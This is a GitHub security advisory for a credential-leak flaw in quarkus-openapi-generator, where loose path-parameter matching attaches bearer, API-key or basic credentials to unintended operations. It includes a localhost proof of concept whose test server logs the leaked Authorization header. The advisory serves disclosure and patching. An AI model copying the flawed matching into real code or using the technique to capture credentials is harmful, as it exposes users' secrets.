Skip to content

quarkus-openapi-generator has overly broad path-parameter matching that sends authentication headers to unintended operations

Moderate severity GitHub Reviewed Published Apr 23, 2026 in quarkiverse/quarkus-openapi-generator • Updated May 13, 2026

Package

maven io.quarkiverse.openapi.generator:quarkus-openapi-generator (Maven)

Affected versions

< 2.16.0-lts
= 2.16.0

Patched versions

2.16.0-lts
2.17.0

Description

Summary

The generated authentication filter matches OpenAPI path templates too broadly when deciding whether to attach credentials. A security scheme configured for one operation can therefore be applied to a different same-method operation whose path only partially resembles the protected template, causing bearer tokens, API keys, or basic credentials to be sent to unintended endpoints.

Details

The runtime authentication layer selects credentials by comparing the outgoing request path and method against the set of protected OpenAPI operations. Path-template matching treats {param} placeholders as .*, which incorrectly allows a single path parameter to consume /.

As a result, a protected path such as /repos/{ref} also matches /repos/foo/bar, even though /repos/{owner}/{repo} is a different operation. When a client invokes the unprotected operation, the authentication filter still concludes that the protected operation matched and attaches its credentials.

This affects authentication providers that rely on the shared path-matching logic, including bearer, OAuth, API-key, and basic authentication. The issue is reachable through normal generated-client usage and does not require modifying generated code.

PoC

mkdir -p /tmp/qoag-poc/src/main/java/org/acme
mkdir -p /tmp/qoag-poc/src/main/resources
mkdir -p /tmp/qoag-poc/src/main/openapi

cat > /tmp/qoag-poc/pom.xml <<'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>org.acme</groupId>
  <artifactId>qoag-poc</artifactId>
  <version>1.0.0</version>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.release>17</maven.compiler.release>
    <quarkus.platform.group-id>io.quarkus</quarkus.platform.group-id>
    <quarkus.platform.artifact-id>quarkus-bom</quarkus.platform.artifact-id>
    <quarkus.platform.version>3.34.3</quarkus.platform.version>
    <qoag.version>2.16.0</qoag.version>
  </properties>

  <dependencyManagement>
    <dependencies>
      <dependency>
        <groupId>${quarkus.platform.group-id}</groupId>
        <artifactId>${quarkus.platform.artifact-id}</artifactId>
        <version>${quarkus.platform.version}</version>
        <type>pom</type>
        <scope>import</scope>
      </dependency>
    </dependencies>
  </dependencyManagement>

  <dependencies>
    <dependency>
      <groupId>io.quarkiverse.openapi.generator</groupId>
      <artifactId>quarkus-openapi-generator</artifactId>
      <version>${qoag.version}</version>
    </dependency>
    <dependency>
      <groupId>io.quarkus</groupId>
      <artifactId>quarkus-rest</artifactId>
    </dependency>
    <dependency>
      <groupId>io.quarkus</groupId>
      <artifactId>quarkus-rest-client-jackson</artifactId>
    </dependency>
  </dependencies>

  <build>
    <plugins>
      <plugin>
        <groupId>io.quarkus</groupId>
        <artifactId>quarkus-maven-plugin</artifactId>
        <version>${quarkus.platform.version}</version>
        <extensions>true</extensions>
        <executions>
          <execution>
            <goals>
              <goal>build</goal>
              <goal>generate-code</goal>
              <goal>generate-code-tests</goal>
            </goals>
          </execution>
        </executions>
      </plugin>
      <plugin>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.14.0</version>
        <configuration>
          <parameters>true</parameters>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>
EOF

cat > /tmp/qoag-poc/src/main/openapi/repro.yaml <<'EOF'
openapi: 3.0.3
info:
  title: repro
  version: 1.0.0

paths:
  /repos/{ref}:
    get:
      operationId: getRef
      parameters:
        - in: path
          name: ref
          required: true
          schema:
            type: string
      security:
        - bearerAuth: []
      responses:
        "200":
          description: ok
          content:
            text/plain:
              schema:
                type: string

  /repos/{owner}/{repo}:
    get:
      operationId: getOwnerRepo
      parameters:
        - in: path
          name: owner
          required: true
          schema:
            type: string
        - in: path
          name: repo
          required: true
          schema:
            type: string
      responses:
        "200":
          description: ok
          content:
            text/plain:
              schema:
                type: string

components:
  securitySchemes:
    bearerAuth:
      type: http
      scheme: bearer
EOF

cat > /tmp/qoag-poc/src/main/resources/application.properties <<'EOF'
quarkus.http.port=8081
quarkus.openapi-generator.codegen.default-security-scheme=bearerAuth
quarkus.openapi-generator.codegen.spec.repro_yaml.base-package=org.acme.repro
quarkus.rest-client.repro_yaml.url=http://127.0.0.1:18080
quarkus.openapi-generator.repro_yaml.auth.bearerAuth.bearer-token=SECRET
EOF

cat > /tmp/qoag-poc/src/main/java/org/acme/TriggerResource.java <<'EOF'
package org.acme;

import jakarta.ws.rs.GET;
import jakarta.ws.rs.Path;
import jakarta.ws.rs.Produces;
import jakarta.ws.rs.core.MediaType;
import org.eclipse.microprofile.rest.client.inject.RestClient;

@Path("/trigger")
public class TriggerResource {
    @RestClient
    org.acme.repro.api.DefaultApi api;

    @GET
    @Produces(MediaType.TEXT_PLAIN)
    public String trigger() {
        api.getOwnerRepo("foo", "bar");
        return "done";
    }
}
EOF

python - <<'PY' &
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print("PATH=" + self.path, flush=True)
        print("AUTH=" + str(self.headers.get("Authorization")), flush=True)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"ok")
    def log_message(self, fmt, *args):
        pass
HTTPServer(("127.0.0.1", 18080), H).serve_forever()
PY

cd /tmp/qoag-poc
mvn -q package -DskipTests
java -jar target/quarkus-app/quarkus-run.jar &
sleep 8
curl -s http://127.0.0.1:8081/trigger

# PATH=/repos/foo/bar
# AUTH=Bearer SECRET

Impact

Clients generated from an OpenAPI specification can send authentication credentials to endpoints that were not intended to receive them. In practice, this can disclose bearer tokens, API keys, or basic credentials to lower-trust routes on the same service, cause public operations to be invoked with privileged credentials, and blur the intended security boundary between protected and unprotected operations.

References

@ricardozanini ricardozanini published to quarkiverse/quarkus-openapi-generator Apr 23, 2026
Published to the GitHub Advisory Database May 4, 2026
Reviewed May 4, 2026
Published by the National Vulnerability Database May 9, 2026
Last updated May 13, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(27th percentile)

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

CVE ID

CVE-2026-42333

GHSA ID

GHSA-fr8f-rwjx-f32v

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.